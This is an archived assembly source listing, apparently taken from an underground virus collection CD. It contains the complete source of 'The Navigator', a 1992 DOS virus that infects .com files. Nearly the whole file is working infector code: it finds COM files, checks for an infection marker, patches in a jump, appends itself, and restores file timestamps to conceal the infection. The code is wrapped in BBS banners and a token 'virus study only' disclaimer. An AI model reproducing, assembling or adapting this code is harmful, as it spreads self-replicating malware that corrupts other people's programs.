home *** CD-ROM | disk | FTP | other *** search
/ Underground / Underground CD1.iso / virii / zrodla / n / nav.asm next >
Encoding:
Assembly Source File  |  1998-01-14  |  7.7 KB  |  202 lines
  1. ;****************************************************************************;
  2. ;                                                                            ;
  3. ;                     -=][][][][][][][][][][][][][][][=-                     ;
  4. ;                     -=]  P E R F E C T  C R I M E  [=-                     ;
  5. ;                     -=]      +31.(o)79.426o79      [=-                     ;
  6. ;                     -=]                            [=-                     ;
  7. ;                     -=] For All Your H/P/A/V Files [=-                     ;
  8. ;                     -=]    SysOp: Peter Venkman    [=-                     ;
  9. ;                     -=]                            [=-                     ;
  10. ;                     -=]      +31.(o)79.426o79      [=-                     ;
  11. ;                     -=]  P E R F E C T  C R I M E  [=-                     ;
  12. ;                     -=][][][][][][][][][][][][][][][=-                     ;
  13. ;                                                                            ;
  14. ;                    *** NOT FOR GENERAL DISTRIBUTION ***                    ;
  15. ;                                                                            ;
  16. ; This File is for the Purpose of Virus Study Only! It Should not be Passed  ;
  17. ; Around Among the General Public. It Will be Very Useful for Learning how   ;
  18. ; Viruses Work and Propagate. But Anybody With Access to an Assembler can    ;
  19. ; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding     ;
  20. ; Experience can Turn it Into a far More Malevolent Program Than it Already  ;
  21. ; Is. Keep This Code in Responsible Hands!                                   ;
  22. ;                                                                            ;
  23. ;****************************************************************************;
  24. ;****************************************************************************
  25. ;*   The Navigator                                *
  26. ;*                                          *
  27. ;*   Assembled with Tasm 2.5                            *
  28. ;*                                            *
  29. ;*   (c) 1992 Dark Helmet, The Netherlands                    *
  30. ;*   The author takes no responsibilty for any damages caused by the virus  *
  31. ;*                                        *
  32. ;*   Special greetings to :                             *
  33. ;*   Glenn Benton, XSTC for their nice source and viruses,             *
  34. ;*   Peter Venkman for his BBS, Marcel and Ziggy for keeping me of the      *
  35. ;*   work, Guns and Roses for their great music,                 *
  36. ;*   and al the other viruswriters...                        *
  37. ;*                                        *
  38. ;*   " Trust me...I know what I'm doing"                    *
  39. ;*                                        *
  40. ;*--------------------------------------------------------------------------*
  41. ;*                                        *
  42. ;*   Coming soon : The Anti-DAF Virus                          *
  43. ;*                 Civil War II                          *
  44. ;*                                           *
  45. ;*--------------------------------------------------------------------------*
  46. ;*                                        *
  47. ;*    Used Books : - MSDOS voor gevorderen (tweede editie)            *
  48. ;*                 Ray Duncan, ISBN 90 201 2299 1 (660 blz.)              *
  49. ;*                 - PC Handboek voor programmeurs                *
  50. ;*                   Robert Jourdain, ISBN 90 6233 443 1 (542 blz.)        *
  51. ;*           - Werken met Turbo Assembler                    *
  52. ;*             Tom Swam, ISBN 90 6233 627 2 (903 blz.)              *
  53. ;*                                        *
  54. ;****************************************************************************
  55.  
  56.         .Radix 16
  57.  
  58. Navigator    Segment
  59.         Assume cs:Navigator, ds:Navigator, 
  60.         org 100h
  61.  
  62. len         equ offset last - begin
  63.  
  64. Dummy:          db 0e9h, 03h, 00h, 44h, 48h, 00h
  65.  
  66. Begin:          call virus
  67.  
  68. Virus:          pop bp
  69.                 sub bp,109h
  70.                 mov dx,0fe00h
  71.                 mov ah,1ah
  72.                 int 21h
  73.         
  74. Restore_begin:  mov di,0100h
  75.         lea si,ds:[buffer+bp]
  76.         mov cx,06h
  77.         rep movsb
  78.                 
  79. First:        lea dx,[com_mask+bp]
  80.         mov ah,04eh
  81.         xor cx,cx
  82.         int 21h
  83.  
  84. Open_file:    mov ax,03d02h
  85.         mov dx,0fe1eh
  86.         int 21h
  87.         mov [handle+bp],ax
  88.         xchg ax,bx
  89.  
  90. Read_date:    mov ax,05700h
  91.         int 21h
  92.         mov [date+bp],dx
  93.         mov [time+bp],cx
  94.  
  95. Check_infect:    mov bx,[handle+bp]
  96.         mov ah,03fh
  97.         mov cx,06h
  98.         lea dx,[buffer+bp]
  99.         int 21h
  100.                 mov al,byte ptr [buffer+bp]+3
  101.         mov ah,byte ptr [buffer+bp]+4 
  102.         cmp ax,[initials+bp]
  103.         jne infect_file
  104.  
  105. Close_file:     mov bx,[handle+bp]
  106.         mov ah,3eh
  107.         int 21h
  108.  
  109. Next_file:      mov ah,4fh
  110.         int 21h
  111.         jnb open_file
  112.         jmp exit
  113.  
  114. Infect_file:    mov ax,word ptr [cs:0fe1ah]
  115.         sub ax,03h
  116.         mov [lenght+bp],ax
  117.         mov ax,04200h
  118.         call move_pointer
  119.         
  120. Write_jump:     mov ah,40h
  121.         mov cx,01h
  122.         lea dx,[jump+bp]
  123.         int 21h
  124.         mov ah,40h
  125.         mov cx,02h
  126.         lea dx,[lenght+bp]
  127.         int 21h
  128.         mov ah,40
  129.         mov cx,02h
  130.         lea dx,[initials+bp]
  131.         int 21h
  132.  
  133. Write_virus:    mov ax,4202h
  134.         call move_pointer
  135.         mov ah,40h
  136.         mov cx,len
  137.         lea dx,[begin+bp]
  138.         int 21h
  139.  
  140. restore_date:   mov dx,[date+bp]
  141.         mov cx,[time+bp]
  142.         mov bx,[handle+bp]
  143.         mov ax,05701h
  144.         int 21h
  145.  
  146. exit:        mov bx,0100h
  147.         jmp bx
  148.  
  149. ;----------------------------------------------------------------------------
  150.  
  151. move_pointer:   mov bx,[handle+bp]
  152.         xor cx,cx
  153.         xor dx,dx
  154.         int 21h
  155.         ret
  156.         
  157. ;----------------------------------------------------------------------------
  158.  
  159. com_mask    db "*.com",0
  160. handle        dw ?
  161. date        dw ?
  162. time        dw ?
  163. buffer          db 090h,0cdh,020h,044h,048h,00h
  164. initials        dw 4844h         
  165. lenght        dw ?
  166. jump            db 0e9h,0
  167. msg             db "The Navigator, (c) 1992 Dark Helmet",0
  168.  
  169. last        db 090h
  170.  
  171. Navigator    ends
  172.         end  dummy
  173. ;****************************************************************************;
  174. ;                                                                            ;
  175. ;                     -=][][][][][][][][][][][][][][][=-                     ;
  176. ;                     -=]  P E R F E C T  C R I M E  [=-                     ;
  177. ;                     -=]      +31.(o)79.426o79      [=-                     ;
  178. ;                     -=]                            [=-                     ;
  179. ;                     -=] For All Your H/P/A/V Files [=-                     ;
  180. ;                     -=]    SysOp: Peter Venkman    [=-                     ;
  181. ;                     -=]                            [=-                     ;
  182. ;                     -=]      +31.(o)79.426o79      [=-                     ;
  183. ;                     -=]  P E R F E C T  C R I M E  [=-                     ;
  184. ;                     -=][][][][][][][][][][][][][][][=-                     ;
  185. ;                                                                            ;
  186. ;                    *** NOT FOR GENERAL DISTRIBUTION ***                    ;
  187. ;                                                                            ;
  188. ; This File is for the Purpose of Virus Study Only! It Should not be Passed  ;
  189. ; Around Among the General Public. It Will be Very Useful for Learning how   ;
  190. ; Viruses Work and Propagate. But Anybody With Access to an Assembler can    ;
  191. ; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding     ;
  192. ; Experience can Turn it Into a far More Malevolent Program Than it Already  ;
  193. ; Is. Keep This Code in Responsible Hands!                                   ;
  194. ;                                                                            ;
  195. ;****************************************************************************;
  196.  
  197. ;─────────────────────────────────────────────────────────────────────────;
  198. ;──────────────────> and Remember Don't Forget to Call <──────────────────;
  199. ;────────────> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <──────────;
  200. ;─────────────────────────────────────────────────────────────────────────;
  201.  
  202.